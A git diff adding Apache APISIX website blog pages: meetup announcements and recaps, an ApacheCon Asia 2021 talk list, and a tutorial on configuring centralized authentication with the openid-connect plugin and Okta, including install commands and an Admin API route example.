+<li>Hear from Akiyo scientists about how Akiyo uses Apache APISIX to support a service with 10 million calls</li>
+<li>How Airwallex uses Apache APISIX to balance user experience, clean architecture and data sovereignty</li>
+<li>Learn about the benefits of centralized authentication and how to do it on APISIX</li>
+</ul>
+<p>If you’re interested, don’t miss it, <strong>scan the event poster for QR code to register!</strong></p>
+<p>Tips: We will control the size of the event as the epidemic is not relaxed, so registration is limited.</p>
+<h2 id="event-schedule">Event Schedule</h2>
+<p><img src="https://static.apiseven.com/202108/1639467909853-fd9caa2e-8b45-459c-8bb7-8acb4a20692e.jpg" alt="Apache APISIX Meetup"></p>
+<h2 id="introduction-to-the-topic">Introduction to the topic</h2>
+<h3 id="apache-apisix-based-iqiyi-api-gateway-implementation-practice">Apache APISIX based, iQiYi API gateway implementation practice</h3>
+<h4 id="sharing-guests">Sharing Guests</h4>
+<p>Wenjie Jiang / Scientist, iQiYi</p>
+<h4 id="topic-details">Topic Details</h4>
+<p>API gateway has become an indispensable part of microservice architecture. It is the only portal for services to the outside world, but also needs to meet the common functions of many applications. As an online video company, Aqiyi needs to carry tens of millions of calls every day and has extremely strict requirements for data security, user request response time, and system stability, so the company needs to build a high-performance and highly available API gateway. This article bri [...]
+<h3 id="how-to-use-apache-apisix-for-centralized-authentication">How to use Apache APISIX for centralized authentication</h3>
+<h4 id="sharing-guests-1">Sharing Guests</h4>
+<p>Xinxin Zhu / api7.ai Engineer, Apache APISIX Committer</p>
+<h4 id="topic-details-1">Topic Details</h4>
+<p>Authentication is a very important part of zero-trust architecture. APISIX is a dynamic, real-time, high-performance API gateway that supports a rich set of authentication plugins.</p>
+<h3 id="data-sovereignty-and-apache-apisix-gateway-landing-practice">Data Sovereignty and Apache APISIX Gateway Landing Practice</h3>
+<h4 id="sharing-guests-2">Sharing Guests</h4>
+<p>Yang Li / Head of Airwallex Technology Platform</p>
+<h4 id="topic-details-2">Topic Details</h4>
+<p>Data is everywhere, and massive amounts of data are being processed, transmitted, and stored all over the world every moment. However, the world of data is not a place outside the law, and the collection and processing of data must comply with the laws of each country. The API gateway has a special position in the enterprise architecture and therefore plays a special role in the data sovereignty scenario.</p>
+<h3 id="the-one-who-walks-alone-goes-fast-the-many-who-walk-far-apache-apisix-thanks-to-you">The One Who Walks Alone Goes Fast, The Many Who Walk Far, Apache APISIX Thanks to You</h3>
+<h4 id="sharing-guests-3">Sharing Guests</h4>
+<p>Yansheng Wang / Co-founder & CTO of api7.ai</p>
+<h4 id="topic-details-3">Topic Details</h4>
+<p>Apache APISIX has been growing as a community since the first day of open source. In just two years, the product has won the first place in many technical indicators and quickly become the most active API gateway project in the world, and has defined the path that belongs to Apache APISIX: unified 7-layer traffic processing. One person can go fast, but a group of people can go farther, and we are grateful to you for the growth of Apache APISIX.</p>
+<h2 id="peripheral-benefits">Peripheral Benefits</h2>
+<p>Join the Meetup, interact with the instructors, and get a chance to win the latest Apache APISIX gifts: mouse pads, coffee mugs, Apache APISIX badges, and umbrellas.</p>
+<p><img src="https://static.apiseven.com/202108/1639468073361-021ba09a-69bb-47ac-a852-e879c3109a9a.jpg" alt="Apache APISIX Gift"></p>
+<h2 id="how-to-participate">How to participate</h2>
+<h3 id="on-site-registration">On-site registration</h3>
+<p>Scan the event poster QR code above to sign up!</p>
+<h3 id="online-live-streaming">Online Live Streaming</h3>
+<p>If you can’t make it to the Meetup, follow the Apache APISIX video to watch the live stream.</p>
+<p><img src="https://static.apiseven.com/202108/1639467967121-2fff2f38-7949-4ea5-be55-7a3bf47b2bd5.png" alt="Apache APISIX Live"></p>
+<h2 id="join-the-group-to-communicate">Join the group to communicate</h2>
+<p>Follow the Apache APISIX public page and reply with the keyword “Shanghai” in the background to join the Apache APISIX Shanghai group.</p>
+<p><img src="https://static.apiseven.com/202108/1639468019348-d2d555ab-e860-41a4-9efa-f383eb0c0069.png" alt="Apache APISIX wechat"></p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.o [...]
\ No newline at end of file
diff --git a/blog/2021/08/23/apachecon-asia-2021/index.html b/blog/2021/08/23/apachecon-asia-2021/index.html
new file mode 100644
index 00000000000..f4ba30b58a0
--- /dev/null
+++ b/blog/2021/08/23/apachecon-asia-2021/index.html
@@ -0,0 +1,57 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>ApacheCon Asia 2021 | Apache APISIX</title><meta name="description" content="ApacheCon Asia 2021 takes place online from August 6-8. The Apache APISIX community has submitted related topics such as rate limit, authentication, service mesh, etc."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/08/2 [...]
+<p>ApacheCon is the official global conference series of the Apache Software Foundation. Since 1998, ApacheCon has been attracting participants at all levels to explore the “technologies of tomorrow” in more than 350 Apache projects and their diverse communities. ApacheCon Asia is an online ApacheCon conference with the primary goal of better serving the rapidly growing number of Apache users and contributors in the Asia-Pacific region. ApacheCon Asia 2021 takes place online August 6-8, [...]
+</blockquote>
+<!--truncate-->
+<p>The Apache APISIX community actively participated in this annual open source event, presenting a rich set of 8 API/microservices technology-related topics.</p>
+<h2 id="implementing-flow-limiting-with-apache-apisix">Implementing Flow Limiting with Apache APISIX</h2>
+<p>Shared by: Junxu Chen</p>
+<p>Nginx is often the first thing that comes to mind when it comes to limiting speed. However, Nginx is implemented through a configuration file, which requires reloading every time you make a change, making it extremely cumbersome to run and maintain. On the other hand, speed limiting conditions are limited to Nginx variables, making it difficult to achieve fine-grained speed limiting for business purposes. This session will show how to use Apache APISIX to achieve dynamic, fine-grained [...]
+<p><a href="/articles/Speed-Limiting-With-Apache-APISIX"><strong>View</strong></a></p>
+<h2 id="testing-apache-apisix-resilience-with-chaos-mesh">Testing Apache APISIX resilience with Chaos Mesh</h2>
+<p>Shared by: Shuyang Wu</p>
+<p>Apache APISIX is one of the leading API gateways OSS. To make sure everything is going as planned, APISIX uses different kinds of tests, including unit, e2e, and fuzzy tests. However, we are still not sure how APISIX will behave when some abnormal but unavoidable circumstances occur, such as network failure, IO stress or Pods failure. So here we use Chaos Mesh, a Kubernetes-based chaos engineering platform that can smoothly inject different kinds of chaos and integrate them into our C [...]
+<p><a href="/articles/Test-Apache-APISIX-Resilience-With-Chaos-Mesh"><strong>View</strong></a></p>
+<h2 id="authentication-and-authorization-with-apache-apisix">Authentication and authorization with Apache APISIX</h2>
+<p>Shared by: Xinxin Zhu</p>
+<p>Authentication and authorization are very essential features in API gateways. This way, services located behind the gateway are protected from unauthorized or malicious access, data leakage, and hacking. Apache APISIX is a dynamic, real-time, high-performance API gateway. And it offers a number of plug-ins, including authentication and authorization like key-auth, Open-ID, wolf-RBAC, etc. This proposal describes how to use APISIX for authentication and authorization.</p>
+<p><a href="/articles/Using-Apache-APISIX-To-Do-Authentication-and-Authorization"><strong>View</strong></a></p>
+<h2 id="relying-on-the-community-to-let-apache-apisix-grow-fast">Relying on the community to let Apache APISIX grow fast</h2>
+<p>Shared by: Yuansheng Wang</p>
+<p>In the past year, APISIX has become the most active API gateway project in the world, not only because of its advanced technology, but also because of the highly active community. As of today, there are 225 contributors from all over the world, and the number is still growing rapidly. This session will introduce APISIX’s experience in practicing “community over code”. As an idealistic startup, how to combine with Apache culture to make the startup grow fast.</p>
+<p><a href="/articles/Relying-On-The-Community-To-Get-Apache-APISIX-Up-Speed"><strong>View</strong></a></p>
+<h2 id="apache-apisix-from-open-source-project-to-the-road-to-commercialization">Apache APISIX from open source project to the road to commercialization</h2>
+<p>Shared by: Ming Wen</p>
+<p>Ming Wen, Founder of api7.ai, Chairman of Apache APISIX PMC, and member of Apache Foundation, will speak on “Apache APISIX from Open Source to Commercialization”.</p>
+<p><a href="/articles/Apache-APISIX-From-OpenSource-Commercialization"><strong>View</strong></a></p>
+<h2 id="using-echarts-to-render-renderings-of-community-events">Using Echarts to render renderings of community events</h2>
+<p>Shared by: Yi Sun</p>
+<p>The open source repository was analyzed by 1. contributor growth curve; 2. monthly contributor activity; 3. to reflect the health of the open source project, here we share some experiences and some interesting things about how to make these two graphs.</p>
+<p><a href="/articles/Rendering-Community-Events-Using-ECharts"><strong>View</strong></a></p>
+<h2 id="running-an-open-source-commercialization-company-according-to-the-apache-way-does-it-work">Running an open source commercialization company according to the Apache Way, does it work</h2>
+<p>Shared by: Ming Wen</p>
+<p>The Apache Way is a proven community success for countless open source projects, so does the Apache Way work for open source commercial companies? Does it work in the business world? Through 2 years of operating as an open source commercial company, Tributary Technologies hopes to answer this question with the company’s personal experience.</p>
+<p><a href="/articles/Apache-APISIX-From-OpenSource-Commercialization-by-Apache-Way"><strong>View</strong></a></p>
+<h2 id="the-appeal-of-open-source">The appeal of open source</h2>
+<p>Shared by: Ju Zhiyuan</p>
+<p>The Apache Software Foundation’s top project, Apache APISIX, and its subprojects have merged 250+ PRs in the last 30 days, and the contributor trend is very positive. In addition, the high quality mailing list, active QQ groups and GitHub are attracting a lot of community attention. As the Apache APISIX PMC, what are some of the things Apache APISIX has done to catalyze an active community from my perspective?</p>
+<p><a href="/articles/The-Appeal-of-OpenSource"><strong>View</strong></a></p>
+<h2 id="apache-apisix-application-and-practice-in-mobile-cloud-object-storage-eos">Apache APISIX Application and Practice in Mobile Cloud Object Storage EOS</h2>
+<p>Shared by: Yanshan Chen</p>
+<p>This talk is about the application and practice of Apache APISIX in China Mobile’s public cloud object storage EOS. Firstly, we introduced China Mobile’s public cloud construction plan and the evolution of object storage products, then we explained why we chose Apache APISIX as the load balancing gateway, and introduced the three phases of EOS traffic management architecture evolution in detail. At the same time, we also share what practical production problems we have solved based on [...]
+<p><a href="/articles/Apache-APISIX-in-China-Mobile-Cloud"><strong>View</strong></a></p>
+<h2 id="how-to-extend-apache-apisix-as-a-service-grid-side-car">How to extend Apache APISIX as a service grid side car</h2>
+<p>Shared by: Chao Zhang</p>
+<p>In this topic, I will introduce the apisix-mesh-agent project, which has some capabilities to extend Apache APISIX as a sidecar program in a service grid scenario, and more importantly, it uses the xDS protocol to get configuration from control planes like Istio, Kuma, etc. After that, I will present future plans and expectations regarding the use of Apache APISIX in service grids.</p>
+<p><a href="/articles/How-To-Extend-Apache-APISIX-into-a-Service-Mesh-Sidecar"><strong>View</strong></a></p>
+<h2 id="the-evolution-of-apache-apisix">The Evolution of Apache APISIX</h2>
+<p>Shared by: Zexuan Luo</p>
+<p>In this topic, I will introduce the evolution of Apache APISIX, including: 1. The good decisions we made; 2. The bad decisions we made; 3. Our future plans</p>
+<p><a href="/articles/The-Evolution-of-Apache-APISIX"><strong>View</strong></a></p>
+<h2 id="implementation-of-kubernetes-ingress-based-on-apache-apisix">Implementation of Kubernetes Ingress based on Apache APISIX</h2>
+<p>Shared by: Wei Jin</p>
+<p>Introducing the advantages of Apache APISIX-based Kubernetes Ingress and the features of Apache APISIX Ingress.</p>
+<p><a href="/articles/Apache-APISIX-Kubernetes-Ingress"><strong>View</strong></a></p>
+<h2 id="apache-apisixs-incubator-journey">Apache APISIX’s Incubator Journey</h2>
+<p>Shared by: Ming Wen</p>
+<p>The Incubator Journey of Apache APISIX</p>
+<p><a href="/articles/Apache-APISIX-Incubator-Journey"><strong>View</strong></a></p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a href="https:/ [...]
\ No newline at end of file
diff --git a/blog/2021/08/24/shanghai-meetup-recap/index.html b/blog/2021/08/24/shanghai-meetup-recap/index.html
new file mode 100644
index 00000000000..11ffddbb8af
--- /dev/null
+++ b/blog/2021/08/24/shanghai-meetup-recap/index.html
@@ -0,0 +1,27 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Apache APISIX Meetup in Shanghai | Apache APISIX</title><meta name="description" content="This Apache APISIX Meetup (Shanghai) shared topics related to iQIYI's application practice, centralized identity authentication, and data sovereignty."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/08/24/sh [...]
+<p>Event review: Apache APISIX Meetup Shanghai topic sharing and video review.</p>
+</blockquote>
+<!--truncate-->
+<p>Apache APISIX Meetup Shanghai was successfully held last Saturday (August 21st) 🎉🎉🎉🎉</p>
+<p>The Meetup was initiated by <a href="https://www.apiseven.com/zh">API7.AI</a>, and invited partners such as iQiyi, AirWallex, and other partners to come together with Apache APISIX technical experts, Apache APISIX PMC members, and community technical experts to discuss about The conference was a great opportunity to discuss Apache APISIX community development, industry practices and other topics.</p>
+<p>Let’s take a look back at some of the most memorable talks from the conference!</p>
+<h2 id="apache-apisix-based-iqiyi-api-gateway-implementation-practice">Apache APISIX-based iQiYi API Gateway Implementation Practice</h2>
+<p><strong>Instructor</strong>: Cong He</p>
+<p><strong>Personal Introduction</strong>: Senior R&D Engineer, IIG Infrastructure Department - Compute Cloud, mainly responsible for iQiYi Gateway development and operation and maintenance.</p>
+<p><strong>Detail of Topic</strong>: API gateway has become an indispensable part of the microservice architecture. It bears the sole gateway for services to the outside world, but also needs to meet the common functions of many applications. As an online video company, iQiYi has to carry tens of millions of calls every day, and has extremely strict requirements for data security, user request response time, and system stability, so the company needs to build a high-performance, highly a [...]
+<p><strong>Video Review</strong>: <a href="https://www.bilibili.com/video/BV1Qq4y1M7bK">Akiyoshi’s Apache APISIX-based API Gateway Implementation Practice</a></p>
+<h2 id="how-to-use-apache-apisix-for-centralized-authentication">How to use Apache APISIX for centralized authentication</h2>
+<p><strong>Instructor</strong>: Xinxin Zhu</p>
+<p><strong>Personal Introduction</strong>: API7 Engineer, Apache APISIX Committer</p>
+<p><strong>Detail of Topic</strong>: Authentication is a very important part of zero-trust architecture. Authentication can effectively protect services from unauthorized malicious access, data leakage, and hacker attacks. APISIX, as a dynamic, real-time, high-performance API gateway, supports rich authentication plugins, and this sharing will introduce the benefits of centralized authentication and how to perform centralized authentication on APISIX.</p>
+<p><strong>Video Review</strong>: <a href="https://www.bilibili.com/video/BV1WA411c7pa">Using API Gateway APISIX for Centralized Authentication</a></p>
+<h2 id="data-sovereignty-and-apache-apisix-gateway-landing-practices">Data Sovereignty and Apache APISIX Gateway Landing Practices</h2>
+<p><strong>Instructor</strong>: Yang Li</p>
+<p><strong>Personal Introduction</strong>: Head of AirWallex Technology Platform</p>
+<p><strong>Detail of Topic</strong>: Data is everywhere, and massive amounts of data are processed, transmitted, and stored all over the world every moment. However, the world of data is not a place outside the law, the collection and processing of data must comply with the laws of each country. The API gateway has a special position in the enterprise architecture and therefore plays a special role in the data sovereignty scenario.</p>
+<p><strong>Video Review</strong>: <a href="https://www.bilibili.com/video/BV1GL4y1Y7sR">Apache APISIX and Data Sovereignty in Practice</a></p>
+<h2 id="the-one-who-travels-alone-travels-fast-the-one-who-travels-with-many-travels-far-apache-apisix-is-grateful-to-have-you">The one who travels alone travels fast, the one who travels with many travels far, Apache APISIX is grateful to have you</h2>
+<p><strong>Instructor</strong>: Yuansheng Wang</p>
+<p><strong>Personal Introduction</strong>: Co-founder & CTO of API7.AI</p>
+<p><strong>Details</strong>: Apache APISIX has been growing as a community since the first day of open source, and has quickly become the most active API gateway project in the world by winning the first place in many technical indicators in just two years, and defining the path that belongs exclusively to Apache APISIX: unified 7-layer traffic processing. One person may go fast, a group of people can go farther, Apache APISIX growth road thanks to you.</p>
+<p><strong>Video Review</strong>: <a href="https://www.bilibili.com/video/BV1Hh411q7eB">The One Who Walks Alone Goes Fast, The Many Who Walk Far, Apache APISIX Thanks to You</a></p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Ev [...]
\ No newline at end of file
diff --git a/blog/2021/08/25/using-the-apache-apisix-openid-connect-plugin-for-centralized-authentication/index.html b/blog/2021/08/25/using-the-apache-apisix-openid-connect-plugin-for-centralized-authentication/index.html
new file mode 100644
index 00000000000..5308ea92a88
--- /dev/null
+++ b/blog/2021/08/25/using-the-apache-apisix-openid-connect-plugin-for-centralized-authentication/index.html
@@ -0,0 +1,258 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Centralized Authentication with APISIX OpenID Connect | Apache APISIX</title><meta name="description" content="Simplify API authentication by using the APISIX openid-connect plugin to centralize identity verification at the gateway level."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/08/25/usin [...]
+<p>Compared with the traditional authentication mode, the centralized authentication mode has the following advantages: first, it simplifies the application development process, reduces the development application workload and maintenance costs, and avoids repeated development of authentication code for each application; second, it improves business security, and the centralized authentication mode can intercept unauthenticated requests at the gateway level in time to protect back-end ap [...]
+</blockquote>
+<!--truncate-->
+<h2 id="what-is-apache-apisix">What is Apache APISIX</h2>
+<p><a href="https://apisix.apache.org/">Apache APISIX</a> is a dynamic, real-time, high-performance API gateway that provides rich traffic management features such as load balancing, dynamic upstream, canary release, service meltdown, authentication, observability, and more. Apache APISIX’s OpenID Connect plug-in supports OpenID, which allows users to replace authentication from traditional authentication mode to centralized authentication mode.</p>
+<h2 id="what-is-authentication">What is authentication</h2>
+<p>Authentication refers to the verification of a user’s identity through certain means. The application identifies the user through authentication and obtains detailed user metadata from the Identity Provider based on the user identity ID, and uses it to determine whether the user has access to the specified resources. Authentication modes are divided into two categories: <strong>Traditional Authentication Mode</strong> and <strong>Centralized Authentication Mode</strong>.</p>
+<h3 id="traditional-authentication-mode">Traditional authentication mode</h3>
+<p>In traditional authentication mode, each application service needs to support authentication separately, such as accessing the login interface when the user is not logged in, and the interface returns a 301 jump page. The application needs to develop the logic for maintaining the Session and the authentication interaction with the identity provider. The flow of the traditional authentication model is shown in the figure below: first, the user initiates a request, then the gateway rece [...]
+<p><img src="https://static.apiseven.com/202108/1639467045776-715e1805-540b-4cef-87c5-6166e2af43a8.png" alt="Flowchart of traditional authentication mode"></p>
+<h3 id="centralized-authentication-mode">Centralized authentication mode</h3>
+<p>Unlike the traditional authentication model, the centralized authentication model takes user authentication out of the application service. Take Apache APISIX as an example, the centralized authentication process is shown in the following diagram: first, the user initiates a request, and then the front gateway is responsible for the user authentication process, interfacing with the identity provider and sending the identity provider an authorization) request to the identity provider. [...]
+<p><img src="https://static.apiseven.com/202108/1639467122244-d4292436-c5ce-48f6-b1d5-67645f24fbc9.png" alt="Flow chart of centralized authentication mode"></p>
+<p>Compared with the traditional authentication mode, the centralized authentication mode has the following advantages.</p>
+<ol>
+<li>simplify the application development process, reduce the development of application workload and maintenance costs, to avoid the repeated development of each application authentication code.</li>
+<li>improve business security, centralized authentication mode at the gateway level to intercept unauthenticated requests in time to protect the back-end applications.</li>
+</ol>
+<h2 id="what-is-openid">What is OpenID</h2>
+<p>OpenID is a centralized authentication model, which is a decentralized identity system. The benefit of using OpenID is that users only need to register and log in with one OpenID identity provider’s website and use one account password information to access different applications. okta is a common OpenID identity provider and the Apache APISIX OpenID Connect plugin supports OpenID so users can use the plugin to to replace the traditional authentication model with a centralized authent [...]
+<h3 id="openid-authentication-process">OpenID Authentication Process</h3>
+<p>The OpenID authentication process has the following 7 steps, as shown in the figure below. 1.</p>
+<ol>
+<li>APISIX initiates an authentication request to Identity Provider. 2.</li>
+<li>The user logs in and authenticates on the Identity Provider. 3.</li>
+<li>The Identity Provider returns to APISIX with the Authorization Code. 4.</li>
+<li>APISIX requests the Identity Provider with the Code extracted from the request parameters. 5.</li>
+<li>The Identity Provider sends an answer message to APISIX containing the ID Token and Access Token. 6.</li>
+<li>APISIX sends the Access Token to the Identity Provider’s User Endpoint to obtain the user’s identity.</li>
+<li>After authentication, the User Endpoint sends the User info to APISIX to complete the authentication.</li>
+</ol>
+<p><img src="https://static.apiseven.com/202108/1639467187923-71854ddb-65fd-4a90-8bd0-242b47a8624b.png" alt="OpenID Authentication Flowchart"></p>
+<h2 id="how-to-configure-okta-authentication-using-the-openid-connect-plugin-for-apache-apisix">How to configure Okta authentication using the OpenID Connect plugin for Apache APISIX</h2>
+<p>Configuring Okta authentication using the Apache APISIX OpenID Connect plug-in is a simple three-step process that allows you to switch from traditional to centralized authentication mode. The following section describes the steps to configure Okta authentication using the OpenID Connect plug-in for Apache APISIX.</p>
+<h3 id="prerequisites">Prerequisites</h3>
+<p>An Okta account already exists.</p>
+<h3 id="step-1-configure-okta">Step 1: Configure Okta</h3>
+<ol>
+<li>Login to your Okta account and create an Okta application, select the OIDC login mode and the Web Application application type.
+<img src="https://static.apiseven.com/202108/1639467243454-ac16645a-4a8a-426f-93a2-e840cae3c502.png" alt="Create an Okta application">
+<img src="https://static.apiseven.com/202108/1639467299429-0ea741a7-95fd-43b5-a0c4-25a7026e62d2.png" alt="Select OIDC login mode and Web Application application type"> 2.</li>
+<li>Set the login and logout jump URLs.
+The “Sign-in redirect URIs” are the links that are allowed to be redirected after successful login, and the “Sign-out redirect URIs” are the links that are redirected after logging out. In this example, we set both the sign-in redirect and sign-out redirect URLs to <code>http://127.0.0.1:9080/</code>.
+<img src="https://static.apiseven.com/202108/1639467390099-e9594a05-7e78-4f20-a902-7c4ca2c302fb.png" alt="Set the login and logout URL"></li>
+<li>Click “Save” to save the changes after finishing the settings.
+<img src="https://static.apiseven.com/202108/1639467449049-628d7796-0d8e-4ed9-8334-5ba7f0fb32f4.png" alt="Save Changes">
+Visit the General page of the application to get the following configuration, which is required to configure Apache APISIX OpenID Connect.</li>
+</ol>
+<ul>
+<li>Client ID: OAuth client ID, which is the ID of the application, corresponding to <code>client_id</code> and <code>{YOUR_CLIENT_ID}</code> below.</li>
+<li>Client secret: OAuth client secret, i.e. application key, corresponds to <code>client_secret</code> and <code>{YOUR_CLIENT_SECRET}</code> below.</li>
+<li>Okta domain: The domain name used by the application, corresponds to <code>{YOUR_ISSUER}</code> in discovery below.</li>
+</ul>
+<p><img src="https://static.apiseven.com/202108/1639467501106-d95bf8ad-db47-4918-ac70-424b12488e5b.png" alt="Get configuration info"></p>
+<h3 id="installing-apache-apisix">Installing Apache APISIX</h3>
+<p>You can install Apache APISIX in a variety of ways such as through source packages, Docker, Helm Chart, etc.</p>
+<h4 id="installing-dependencies">Installing dependencies</h4>
+<p>The Apache APISIX runtime environment requires dependencies on NGINX and etcd, so before installing Apache APISIX, please install the corresponding dependencies according to the operating system you are using. We have provided steps for installing dependencies on CentOS7, Fedora 31 & 32, Ubuntu 16.04 & 18.04, Debian 9 & 10 and MacOS, please refer to <a href="https://apisix.apache.org/zh/docs/apisix/install">Installing dependencies</a> for details. -dependencies/).</p>
+<p>When installing Apache APISIX via Docker or Helm Chart, the required NGINX and etcd are already included, please refer to the respective documentation.</p>
+<h4 id="installation-via-rpm-package-centos-7">Installation via RPM package (CentOS 7)</h4>
+<p>This installation method is available for CentOS 7 operating system, please run the following command to install Apache APISIX.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">sudo</span><span style="color:#A5D6FF"> yum</span><span style="color:#A5D6FF"> install</span><span style="color:#79C0FF"> -y</span><span style="color:#A5D6FF"> https://github.com/apache/apisix/releases/download/2.7/apisix-2.7-0.x86_64.rpm</span></span></code></pre>
+<h4 id="installation-via-docker">Installation via Docker</h4>
+<p>For details, please refer to: <a href="https://hub.docker.com/r/apache/apisix">Installing Apache APISIX with Docker</a>.</p>
+<h4 id="installation-via-helm-chart">Installation via Helm Chart</h4>
+<p>For details, please refer to: <a href="https://github.com/apache/apisix-helm-chart">Installing Apache APISIX with Helm Chart</a>.</p>
+<h4 id="installation-via-source-package">Installation via source package</h4>
+<ol>
+<li>Create a directory named <code>apisix-2.7</code>.</li>
+</ol>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">mkdir</span><span style="color:#A5D6FF"> apisix-2.7</span></span></code></pre>
+<ol start="2">
+<li>Download the Apache APISIX Release source package.</li>
+</ol>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">wget</span><span style="color:#A5D6FF"> https://downloads.apache.org/apisix/2.7/apache-apisix-2.7-src.tgz</span></span></code></pre>
+<p>You can also download the Apache APISIX Release source package from the Apache APISIX official website. The Apache APISIX official website also provides source packages for Apache APISIX, APISIX Dashboard, and APISIX Ingress Controller, see [Apache APISIX official website - download page](<a href="https://apisix.apache.org/zh/">https://apisix.apache.org/zh/</a> For details, please refer to the <a href="https://apisix.apache.org/downloads">Apache APISIX official-downloads page</a>.</p>
+<ol start="3">
+<li>Unpack the Apache APISIX Release source package.</li>
+</ol>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">tar</span><span style="color:#A5D6FF"> zxvf</span><span style="color:#A5D6FF"> apache-apisix-2.7-src.tgz</span><span style="color:#79C0FF"> -C</span><span style="color:#A5D6FF"> apisix-2.7</span></span></code></pre>
+<ol start="4">
+<li>install the runtime dependencies of the Lua library:</li>
+</ol>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#8B949E"># Switch to the apisix-2.7 directory</span></span>
+<span class="line"><span style="color:#79C0FF">cd</span><span style="color:#A5D6FF"> apisix-2.7</span></span>
+<span class="line"><span style="color:#8B949E"># Create dependencies</span></span>
+<span class="line"><span style="color:#FFA657">make</span><span style="color:#A5D6FF"> deps</span></span></code></pre>
+<h4 id="initializing-dependencies">Initializing dependencies</h4>
+<p>Run the following command to initialize the NGINX configuration file and etcd.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#8B949E"># initialize NGINX config file and etcd</span></span>
+<span class="line"><span style="color:#FFA657">make</span><span style="color:#A5D6FF"> init</span></span></code></pre>
+<h3 id="start-apache-apisix-and-configure-the-corresponding-routes">Start Apache APISIX and configure the corresponding routes</h3>
+<ol>
+<li>
+<p>Run the following command to start Apache APISIX. 2.</p>
+</li>
+<li>
+<p>Create routes and configure the OpenID Connect plug-in.</p>
+</li>
+</ol>
+<p>The OpenID Connect configuration list is as follows.</p>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+<table><thead><tr><th align="left">fields</th><th align="left">default</th><th align="left">description</th></tr></thead><tbody><tr><td align="left">client_id</td><td align="left">""</td><td align="left">OAuth client ID</td></tr><tr><td align="left">client_secret</td><td align="left">""</td><td align="left">OAuth client key</td></tr><tr><td align="left">discovery</td><td align="left">""</td><td align="left">the identity provider’s service discovery endpoint</td></tr><tr><td align="left"> [...]
+<p>The following code example creates a route through the Apache APISIX Admin API, setting the route upstream to httpbin.org. httpbin.org is a simple backend service for receiving and responding to requests, and the get page of httpbin.org is used below, see <a href="http://httpbin.org/#/HTTP_Methods/get_get">http bin get</a>.</p>
+<p>Please refer to <a href="https://apisix.apache.org/zh/docs/apisix/plugins/openid-connect/">Apache APISIX OpenID Connect Plugin</a> for specific configuration items.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">curl</span><span style="color:#79C0FF"> -XPOST</span><span style="color:#A5D6FF"> 127.0.0.1:9080/apisix/admin/routes</span><span style="color:#79C0FF"> -H</span><span style="color:#A5D6FF"> "X-Api-Key: edd1c9f034335f136f87ad84b625c8f1"</span><span style="color:#79C0FF"> -d</span><span style="c [...]
+<span class="line"><span style="color:#A5D6FF"> "uri":"/*",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "plugins":{</span></span>
+<span class="line"><span style="color:#A5D6FF"> "openid-connect":{</span></span>
+<span class="line"><span style="color:#A5D6FF"> "client_id":"{YOUR_CLIENT_ID}",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "client_secret":"{YOUR_CLIENT_SECRET}",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "discovery":"https://{YOUR_ISSUER}/.well-known/openid-configuration",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "scope":"openid profile",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "bearer_only":false,</span></span>
+<span class="line"><span style="color:#A5D6FF"> "realm":"master",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "introspection_endpoint_auth_method":"client_secret_post",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "redirect_uri": "http://127.0.0.1:9080/"</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF"> },</span></span>
+<span class="line"><span style="color:#A5D6FF"> "upstream":{</span></span>
